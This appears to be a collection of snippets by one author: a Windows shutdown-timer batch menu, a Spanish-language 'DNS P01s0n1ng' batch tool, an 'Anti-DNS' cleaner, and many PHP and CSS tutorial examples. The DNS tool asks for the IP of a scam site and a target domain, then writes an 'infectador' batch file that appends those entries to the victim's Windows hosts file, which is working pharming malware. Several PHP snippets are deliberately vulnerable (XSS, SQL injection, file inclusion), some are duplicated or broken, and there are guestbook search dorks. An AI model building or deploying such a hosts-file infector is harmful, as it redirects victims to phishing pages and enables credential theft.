set up=ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
set empty=³                                                 ³
set title=³            SHUTDOWN COUNTDOWN SYSTEM            ³
set options=³     OPTIONS                                     ³
set option1=³     1.- CONFIG SHUTDOWN COUNTDOWN SYSTEM        ³
set option2=³     2.- CANCEL SHUTDOWN COUNTDOWN SYSTEM        ³
set option3=³     3.- EXIT                                    ³
set processing=³                COMPLETE THE FIELD               ³
set author=³              Xt3mP[at]h4x0rz[dot]us             ³
set line=³_________________________________________________³
set down=ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
echo %up%%empty%%title%%line%%empty%%options%%empty%%option1%%option2%%option3%%empty%%line%%empty%%author%%empty%%down%
set /p option=Choose an option: 
if not defined option (goto:start)
for %%_ in (1 2 3) do (
if ["%option%"]==["%%_"]  (goto:%option%)
)
msg * You inserted a wrong option
goto:start

:1
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
set /p minutes=How much minutes you want to start the shutdown: 
if not defined minutes (goto:config)
set /p confirm=Are you sure that you want %minutes% minutes? (Y/N)
if not defined confirm (goto:config)
for %%_ in (Y N) do (
if ["%confirm%"]==["%%_"]  (goto:%confirm%)
)
msg * You inserted a wrong option
goto:1
pause >nul

:Y
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
set /a finalminutes= %minutes% * 60
echo Shutdown countdown will be started when you press any key, after that this program will close...
pause > nul
shutdown -s -t %finalminutes%
goto:start

:N
goto:1

:2
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
echo Shutdown countdown will be canceled when you press any key...
pause > nul
shutdown -a
goto:start

:3
mode con cols=51 lines=14
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
echo Press any key to close this program...
pause > nul 
exit

@echo off
color 0A
Title DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo [+]          .#~1- Buscar IP del host donde aloja el Scam.      [+]
echo [+]          .#~2- Comenzar a crear el infectador.              [+]
echo [+]          .#~3- Salir.                                       [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto sacarip
If ["%var%"]==["2"] goto crearinfectador
If ["%var%"]==["3"] goto salir
:sacarip
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo [+]           .#~1- Escribe la url de tu p gina sin www.        [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
set /p pagina=
if not defined pagina (goto:sacarip:)
ping %pagina%
ping %pagina% >> ip_de_%pagina%.txt
echo.
echo Presiona una tecla desp£es de haber apuntado la IP.
pause >nul
:crearinfectador
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo [+]           .#~1- Escribir el nombre del infectador.          [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
set /P nombre=
if not defined nombre (goto:crearinfectador)
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+] 
echo .#~1- ¨Est s seguro de ponerle %nombre%?.         
echo [+]            .#~1- S¡.                                        [+]
echo [+]            .#~2- N¢.                                        [+]             
set /P r=
if not defined r (goto:crearinfectador)
cls
if %r%==1 (goto crearinfectador2)
if %r%==2 (goto crearinfectador)
:crearinfectador2
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo [+]         .#~1- Escribe la IP de tu scam sin http://www.      [+]
echo [+]         .#~2- Ejemplo: 127.0.0.1                             [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo. 
set /P ip=
if not defined ip (goto:crearinfectador2)
goto crearinfectador3
:crearinfectador3
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo [+].#~1- Escribe la URL de la p gina a infectar win http://www..[+]
echo [+].#~2- Ejemplo: xtemp.org                                     [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo. 
set /P pag=
if not defined pag (goto:crearinfectador3)
goto crearinfectador4
:crearinfectador4
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+] 
echo .#~1- ¨Est s seguro de estos datos %ip% / %pag%?.         
echo [+]            .#~1- S¡.                                        [+]
echo [+]            .#~2- N¢.                                        [+]
set /P fin=
if not defined fin (goto:crearinfectador4)
if %fin%==1 (goto finalizar)
if %fin%==2 (goto crearinfectador4)
cls
:finalizar
cls
echo  

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo [+]   	                 /"\         l  __ \                    [+]
echo [+]   	                 l l_ __  ___l l__) l                   [+]
echo [+]   	              / _` l '_ \/ __l  ___/                    [+]
echo [+] 	             l (_l l l l \__ \ l                        [+]
echo [+] 	              \__,_l_l l_l___/_l                        [+]
echo [+]            .#~1- Finalizando creaci¢n del Batch.            [+]
echo 

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by 

X73MP______________[+]
echo ^@echo off>>%nombre%.bat
echo cd %windir%\System32\drivers\etc>>%nombre%.bat
echo echo %ip% %pag%^>^>hosts>>%nombre%.bat
echo echo %ip% www.%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://www.%pag%^>^>hosts>>%nombre%.bat
echo Creaci¢n del Batch que infectara perfectamente en:
echo %windir%\System32\drivers\etc\hosts
echo.
echo Gracias por usar este progama.
echo [email protected]
pause>nul
:salir
exit
exit

@echo off
color 0A
Title Anti-DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]   		 /\           l l         l  __ \               [+]
echo [+]   	        /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]   	       / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+] 	      / ____ \    l (_l l l l \__ \ l                   [+]
echo [+] 	     /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]            ¨Quieres desinfectar el archivo HOST?            [+]
echo [+]             1- S¡                                           [+]
echo [+]             2- N¢                                           [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto desinfectar
If ["%var%"]==["2"] goto salir
:desinfectar
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]   		 /\           l l         l  __ \               [+]
echo [+]   	        /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]   	       / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+] 	      / ____ \    l (_l l l l \__ \ l                   [+]
echo [+] 	     /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo ~#.Buscando archivo Host 10%
echo ~#.Eliminando archivo HOST 40%
del  %windir%\System32\drivers\etc\hosts
echo ~#.Creando nuevo archivo Host 90%
cd  %windir%\System32\drivers\etc\
echo # Anti-DNS P01s0n1ng v1.0 BETA by X73MP >> hosts
echo # [email protected] >> hosts
echo 127.0.0.1 localhost >> hosts
REM 72.9.233.146 www.banamex.com.mx >> hosts
echo ~#.Terminando aplicaci¢n 100%
echo ~#. Proceso terminado
pause>nul
:salir
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]   		 /\           l l         l  __ \               [+]
echo [+]   	        /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]   	       / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+] 	      / ____ \    l (_l l l l \__ \ l                   [+]
echo [+] 	     /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo Hasta la pr¢xima.
echo [email protected]
pause
exit

<html>
<head>
<title>Form</title>
</head>
<body>
<form action="" METHOD="GET">
Nombre: <input type="text" name="name" id="name"><br /> <!-- Xt3mP -->
Edad: <input type="text" name="age" id="age"><br /> <!-- 17 -->
Mail: <input type="text" name="mail" id="mail"><br /> <!-- [email protected] -->
Pais: <input type="text" name="country" id="country"><br /> <!-- Mexico -->
<input type="submit" value="Enviar">
</form>
</body>
</html>

<?php
$datos = array("name" => "Xt3mP", "age" => "17", "mail" => "[email protected]", "country" => "Mexico");
echo "www.web.com/path/?".http_build_query($datos);
/*
Daria:
www.web.com/path/?name=Xt3mP&age=17&mail=Xt3mP%40und3rgr0und.org&country=Mexico
*/
?>

<?php
function limpiar_texto($texto){
$car = array("\\","ª","º","-","~","#","@","|","!","\"","·","$","%","&","/","(",")","?","'","¡","¿","[","^","`","]","+","Ç","}","{","¨","´","ñ","Ñ",">","<",";",",",":","."," ","á","é","í","ó","ú","Á","É","Í","Ó","Ú","à","â","ã","À","Â","Ã","è","ê","ì","î","Ì","Î","ò","ô","õ","Ò","Ô","Õ","ù","û","Ù","Û");
$texto = str_replace($car, "", $texto);
return $texto;
}
echo limpiar_texto($_GET['casilla_de_texto']);
/*
xTÉèêemP daria:
xTemP
*/
?>

<?php
include ("connect.php"); //Incluimos la conexion a la DB
$user = $_POST['user'];
$pass = $_POST['pass'];
$mail = $_POST['mail'];
$ip = $_SERVER[REMOTE_ADDR];
mysql_query("INSERT INTO users (user,pass,mail,ip) values ('".$user."','".$pass."','".$mail."','".$ip."') ") or die (mysql_error());
echo "Hola ".htmlentities($user).", te has registrado correctamente.";
?>

<?php
session_start(); //Inicia la session, si existe la retoma, si no existe la crea.

if ($_SESSION['admin'] != TRUE){ //Comprobamos que la sesion ADMIN sea verdadera, recuerden que != significa diferente a.
echo "No autorizado";
}else{

//Toda la web aqui

}
?>

<?php
$pass = "Xt3mP";
$pass = base64_encode(md5(md5(sha1(crypt(md5($pass),"s523/*a5s4s"))).$pass));
echo $pass;
/*
Daria:
Y2YzOWUxYzNkZWZiZGExYmU3OTUyNDk2MmE0YjhiNTA=
*/
?>

<?php
$buscar = $_GET['buscar'];
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
*/
?>

<?php
$buscar = strip_tags(htmlentities($_GET['buscar']));
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado

En donde si ponemos <table border="0"> votaria exactamente:
La busqueda de: <table border="0"> no encontro ningun resultado
Como se puede apreciar ya no se ejecutaron los tags.
?>

<?php
include("connect.php"); //Conexion a la base de datos
$id = $_GET['id']; //Obtenemos el ID
$query = mysql_query("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
/*
web.com/noticia_id.php?id=-1 pediria la peticion como:
$query = mysql_query("SELECT * FROM noticias WHERE id=' ")
Y mostraria un error como este:
You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1 
*/
?>

<?php
include("connect.php"); //Conexion a la base de datos
$id = strip_tags($_GET['id']); //Obtenemos el ID

if (is_numeric($id)){ //Comprobamos que sea numerico

$query = mysql_query("SELECT * FROM noticias WHERE id=".mysql_escape_string($id)." "); //Hacemos la peticion

if ($row = mysql_fetch_array($query)){ //Comprobamos que exista
echo "Noticia: ".$row['titulo']."<br />";
}else{
echo "La noticia no existe";
}
}else{
echo "La noticia no existe";
}
?>

<?php
$file = str_replace(array('.','/'),'',$_GET['file']);
$file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
if (!file_exists($file)){
echo "No intentes bugear";
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename="$file"n");
$filepath=fopen("$file", "r");
fpassthru($filepath);
}
?>

<?php
$file = $_GET['path'];
include ($path);
?>

<?php
$file = $_GET['path'];
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>

<?php
$file = str_replace('/','',$_GET['path']);
$file = "./".$file;
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>

<?php
$error = array('Error de existencia', 'Error numerico');
if (file_exists($archivo)){
//Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a 
fwrite($file, '
Error: '.$error[0].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file);
}

if (is_numeric($id)){
// Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a 
fwrite($file, '
Error: '.$error[1].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file)
}
?>

<?php
$file = @fopen('index.php','a ');
@fwrite($file, 'Xt3mP');
@fclose($file);
?>

<?php
$funcion = $_SERVER[HTTP_USER_AGENT];
echo $funcion;
?>

<?php
$funcion = $_SERVER[HTTP_USER_AGENT];
if(strstr($funcion, "Mozilla")){ 
echo  "Su navegador es Mozilla"; 
}elseif(strstr($funcion "MSIE")){ 
echo  "Su navegador es Internet Explorer"; 
}
?>

<link type="text/css" rel="stylesheet" href="directorio/tunombre.css">

<div id="base">
<ul>
    <li><a href="#"></a><div class="link"><a href="#">Link 1</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 2</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 3</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 4</a></div></li>
    <li><a href="#"></a><div class="link"><a href="#">Link 5</a></div></li>
</ul>
</div>

#base{ //Hacemos referencia al id Base el cual sera la base del menu
width: 800px; //Ancho
margin: 0 auto; //Margen
height: 50; //Alto
background: #004E00; //Fondo
font-family: "Trebuchet MS", Verdana; //Fuente de letra
font-size: 18px; //Tamaño de letra
font-weight: bold; //Negrita/strong
-moz-border-radius-bottomleft:10px; //Borde redondeado aba-izq
-moz-border-radius-bottomright:10px; //Borde redondeado aba-der
-moz-border-radius-topleft:10px; //Borde redondeado arr-izq
-moz-border-radius-topright:10px; //Borde redondeado arr-der
text-shadow: #000000 1px 1px 1px; //Sombra de texto
}
#base ul{//Hacemos referencia a la lista desordenada
margin: 0; //Margen
padding: 0; //Separacion
}
#base ul li:hover{//Hacemos referencia al elemento de la lista y al indicar hover estamos declarando qeu al pasar el mouse sobre este cambiara su estilo
background: #B8CA01; //Fondo
height: 100%; //Alto
-moz-border-radius-bottomleft:10px; //Borde redondeado aba-izq
-moz-border-radius-bottomright:10px; //Borde redondeado aba-der
-moz-border-radius-topleft:10px; //Borde redondeado arr-izq
-moz-border-radius-topright:10px; //Borde redondeado arr-der
}
#base ul li a{//Hacemos referencia a los links dentro de la lista desordenada
text-decoration:none; //Decoracion
padding-top: 15px; //Separacion
color: #FFFFFF; //Color
}
#base ul, li{ //Hacemos referencia a la lista desordenada y a los elementos dentro de esta
list-style:none; //Estilo de lista
}
#base ul li{ //Hacemos referencia a los elementos de la lista desordenada
float:left; //Situar
width: 20%; //Ancho
text-align:center; //Alineacion del texto
}
#base .link{ //Indicamos la clase link
padding-top:13px; //Separacion
}

<input type="text" name="sin_css" value="Casilla sin CSS">

input{ /* Al solo poner input sin # ni . indicamos que afecte a todos los input del sitio web */
-moz-border-radius: 3px; /* Con esto hacemos un redondeo en los bordes para que no se mire cuadrado */
background-color: #003300; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #379A8D; /* Con esto indicamos el color del contenido */
font-family: Verdana; /* Con esto indicamos la fuente de letra */
font-size: 10px; /* Con esto indicamos el size de letra */
margin: 3px; /* Con esto definimos el espacio afuera del borde */
padding: 3px; /* Con esto definimos el espacio entre el borde */
} 
input:hover{ /* Al poner :hover indicamos que afecte a los input al pasar el mouse sobre dichos input*/
background-color: #00CC33; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #F2F2F2; /* Con esto indicamos el color del contenido */
}

input, textarea, select, #ID, .clase{...} /* En donde separamos por "," lo que afectara */

.clase{ /* Al poner . indicamos que afecte a todo lo que tenga la clase "clase" */
-moz-border-radius: 3px; /* Con esto hacemos un redondeo en los bordes para que no se mire cuadrado */
background-color: #003300; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #379A8D; /* Con esto indicamos el color del contenido */
font-family: Verdana; /* Con esto indicamos la fuente de letra */
font-size: 10px; /* Con esto indicamos el size de letra */
margin: 3px; /* Con esto definimos el espacio afuera del borde */
padding: 3px; /* Con esto definimos el espacio entre el borde */
} 
.clase:hover{ /* Al poner :hover indicamos que afecte a todo lo que tenga la clase "clase" al pasar el mouse sobre dichos input*/
background-color: #00CC33; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #F2F2F2; /* Con esto indicamos el color del contenido */
}

<input type="text" name="concss" class="clase">

allinurl:visitas.php
allinurl:librovisitas.php
allinurl:bookmark.php

<?php
$archivo = "file.txt";
$manejador = fopen($archivo,"w") or die("Imposible abrir el archivo\n");
$todo = $_POST['name'].$_POST['mail'].$_POST['comment'];
fwrite($manejador,$todo);
fclose($manejador);
?>

<?php
$archivo = "file.txt";
$manejador = fopen($archivo,"w") or die("Imposible abrir el archivo\n");
$name = strip_tags($_POST['name']);
$name = stripslashes($name);
$mail = strip_tags($_POST['mail'];
$mail = stripslashes($mail);
$comment = strip_tags($_POST['comment'];
$comment = stripslashes($comment);
$todo = $name.$mail.$comment;
fwrite($manejador,$todo);
fclose($manejador);
?>

<html>
<head>
<title>Form</title>
</head>
<body>
<form action="" METHOD="GET">
Nombre: <input type="text" name="name" id="name"><br /> <!-- Xt3mP -->
Edad: <input type="text" name="age" id="age"><br /> <!-- 17 -->
Mail: <input type="text" name="mail" id="mail"><br /> <!-- [email protected] -->
Pais: <input type="text" name="country" id="country"><br /> <!-- Mexico -->
<input type="submit" value="Enviar">
</form>
</body>
</html>

<?php
$datos = array("name" => "Xt3mP", "age" => "17", "mail" => "[email protected]", "country" => "Mexico");
echo "www.web.com/path/?".http_build_query($datos);
/*
Daria:
www.web.com/path/?name=Xt3mP&age=17&mail=Xt3mP%40und3rgr0und.org&country=Mexico
*/
?>

<?php
function limpiar_texto($texto){
$car = array("\\","ª","º","-","~","#","@","|","!","\"","·","$","%","&","/","(",")","?","'","¡","¿","[","^","`","]","+","Ç","}","{","¨","´","ñ","Ñ",">","<",";",",",":","."," ","á","é","í","ó","ú","Á","É","Í","Ó","Ú","à","â","ã","À","Â","Ã","è","ê","ì","î","Ì","Î","ò","ô","õ","Ò","Ô","Õ","ù","û","Ù","Û");
$texto = str_replace($car, "", $texto);
return $texto;
}
echo limpiar_texto($_GET['casilla_de_texto']);
/*
xTÉèêemP daria:
xTemP
*/
?>

<?php
include ("connect.php"); //Incluimos la conexion a la DB
$user = $_POST['user'];
$pass = $_POST['pass'];
$mail = $_POST['mail'];
$ip = $_SERVER[REMOTE_ADDR];
mysql_query("INSERT INTO users (user,pass,mail,ip) values ('".$user."','".$pass."','".$mail."','".$ip."') ") or die (mysql_error());
echo "Hola ".htmlentities($user).", te has registrado correctamente.";
?>

<?php
session_start(); //Inicia la session, si existe la retoma, si no existe la crea.

if ($_SESSION['admin'] != TRUE){ //Comprobamos que la sesion ADMIN sea verdadera, recuerden que != significa diferente a.
echo "No autorizado";
}else{

//Toda la web aqui

}
?>

<?php
$pass = "Xt3mP";
$pass = base64_encode(md5(md5(sha1(crypt(md5($pass),"s523/*a5s4s"))).$pass));
echo $pass;
/*
Daria:
Y2YzOWUxYzNkZWZiZGExYmU3OTUyNDk2MmE0YjhiNTA=
*/
?>

<?php
$buscar = $_GET['buscar'];
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
*/
?>

<?php
$buscar = strip_tags(htmlentities($_GET['buscar']));
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado

En donde si ponemos <table border="0"> votaria exactamente:
La busqueda de: <table border=\"0\"> no encontro ningun resultado
Como se puede apreciar ya no se ejecutaron los tags.
?>

<?php
include("connect.php"); //Conexion a la base de datos
$id = $_GET['id']; //Obtenemos el ID
$query = mysql_query("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
/*
web.com/noticia_id.php?id=-1 pediria la peticion como:
$query = mysql_query("SELECT * FROM noticias WHERE id=' ")
Y mostraria un error como este:
You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1 
*/
?>

<?php
include("connect.php"); //Conexion a la base de datos
$id = strip_tags($_GET['id']); //Obtenemos el ID

if (is_numeric($id)){ //Comprobamos que sea numerico

$query = mysql_query("SELECT * FROM noticias WHERE id=".mysql_escape_string($id)." "); //Hacemos la peticion

if ($row = mysql_fetch_array($query)){ //Comprobamos que exista
echo "Noticia: ".$row['titulo']."<br />";
}else{
echo "La noticia no existe";
}
}else{
echo "La noticia no existe";
}
?>

<?php
$file = str_replace(array('.','/'),'',$_GET['file']);
$file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
if (!file_exists($file)){
echo "No intentes bugear";
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"$file\"\n");
$filepath=fopen("$file", "r");
fpassthru($filepath);
}
?>

<?php
$file = $_GET['path'];
include ($path);
?>

<?php
$file = $_GET['path'];
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>

<?php
$file = str_replace('/','',$_GET['path']);
$file = "./".$file;
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>

<?php
$error = array('Error de existencia', 'Error numerico');
if (file_exists($archivo)){
//Todo el codigo
}else{
$file = fopen("error.txt", 'a+'); //Permisos de escritura y lectura con a+
fwrite($file, '
Error: '.$error[0].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'\n');
fclose($file);
}

if (is_numeric($id)){
// Todo el codigo
}else{
$file = fopen("error.txt", 'a+'); //Permisos de escritura y lectura con a+
fwrite($file, '
Error: '.$error[1].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'\n');
fclose($file)
}
?>

<?php
$file = @fopen('index.php','a+');
@fwrite($file, 'Xt3mP');
@fclose($file);
?>

<?php
echo rand(); //Genera un numero aleatorio entre 0 y 32767.
echo getrandmax(); //Genera un numero con valor a 32767.
echo rand(0,15); //Genera un numero entre 0 y 15, estos dos números pueden variar siempre y cuando no sobre pasen los 32767.
/*
Daria:
17812 //El aleatorio de 0 y 32767
32767 //El maximo
13 //Entre 0 y 15
*/
?>

<?php
echo mt_rand(); //Genera un numero aleatorio entre 0 y 2147483647.
echo mt_getrandmax(); //Genera un numero con valor a 2147483647.
echo mt_rand(24565,4976854); //Genera un numero entre 24565 y 4976854, estos dos números pueden variar siempre y cuando no sobre pasen los 2147483647.
/*
Daria:
1660000551 //El aleatorio entre 0 y 2147483647
2147483647 //El maximo
289095 //Entre 24565 y 4976854
*/
?>

<?php
$abe = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); //26
$pal = array('Xt3mP', '[email protected]', 'Mexico', '17 de edad', 'Banking', 'Robar tarjetas de credito', 'abc123', 'xD');//8
$rand_pal = rand(0,7); //Igual que el de arriba.
// Crearemos un directorio cualquiera con "nombres al azar".
$directorio = rand(0,9).$abe[rand(0,25)].rand(0,9).$abe[rand(0,25)].rand(0,9).$abe[rand(0,25)]; //Generaria 4i9y5f
@mkdir ($directorio);
// Ahora "mostraremos una password con palabras anteriormente definidas"
echo "Hola usuario, tu nueva password es: ".$pal[rand(0,7)]; //[email protected]
?>

<?php
$abe = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); //26
$pass = $abe[rand(0,25)].rand().$abe[rand(0,25)].rand().$abe[rand(0,25)].rand();
/*
Daria:
i21636u10402s13552
Ya solo es cuestion de meterle base de datos para hacer un update, etc.
*/
?>

<form action="subir.php" method="post" enctype="multipart/form-data">
<b>Archivo: </b>
<br>
<input name="fichero" type="file">
<br>
<input type="submit" value="Enviar">
</form> 

<?php
echo $_FILES['fichero']['tmp_name']."<br />"; //Es el archivo temporal para subir al servidor
echo $_FILES["fichero"]["name"]."<br />"; //Es el nombre del archivo a subir al servidor
echo $_FILES["fichero"]["type"]."<br />"; //Es el tipo (mime) del archivo a subir al servidor
echo $_FILES["fichero"]["size"]."<br />"; //Es el tamano (en bytes) del archivo a subir al servidor
/*
Nota: Puedes hacer $_FILES["fichero"]["size"] / 1024 para ir en escala de bytes, kb, mb, etc.
Daria como resultado:
C:\WINDOWS\Temp\phpC2.tmp => Temporal
tutorial.txt => Nombre
text/plain => Tipo (mime)
0 => Peso
*/
?>

<?php
$path = "files/";
$temporal = $_FILES['fichero']['tmp_name'];
$archivo = basename($_FILES["fichero"]["name"]);
if( (move_uploaded_file($temporal,$path.$archivo))){
echo "Archivo subido correctamente.";
}else{
echo "Hubo un error en la carga del archivo.";
}
?>

<?php
$path = "files/";
$archivo = basename($_FILES["fichero"]["name"]);
copy($path.$archivo, $path."tutorial_copia.txt");
/*
Daria:
files/tutorial_copia.txt
*/
?>

<?php
if (file_exists("./files/tutorial_copia.txt")){
echo "Si existe";
}else{
echo "No existe";
}
/*
Devolveria:
Si existe, pero si cambiamos tutorial_copia por loquesea.txt tiraria no existe porque en este caso no tenemos ese fichero en el servidor.
*/
?>

<?php
$pagina = strip_tags(stripslashes($_GET['page']));
if (file_exists($pagina)){
include ($pagina);
}else{
echo "No intentes bugear, la pagina no existe, se envio un correo al administrador con tu IP";
}
?>

<?php
mkdir("/dir", "0777");
/*
Daria:
path_base/dir/ con permisos de escritura, lectura y ejecucion (0777).
*/
?>

<?php
if (file_exists("./files")){
echo "Si existe";
}else{
mkdir("/files", "0777");
}
/*
Daria:
Si existe el directorio te da un aviso de que existe, si no existe lo crea con permisos de 0777.
*/
?>

<?php
$directorio = "files/";
$contador = scandir($directorio);
$total = count($contador);
/*
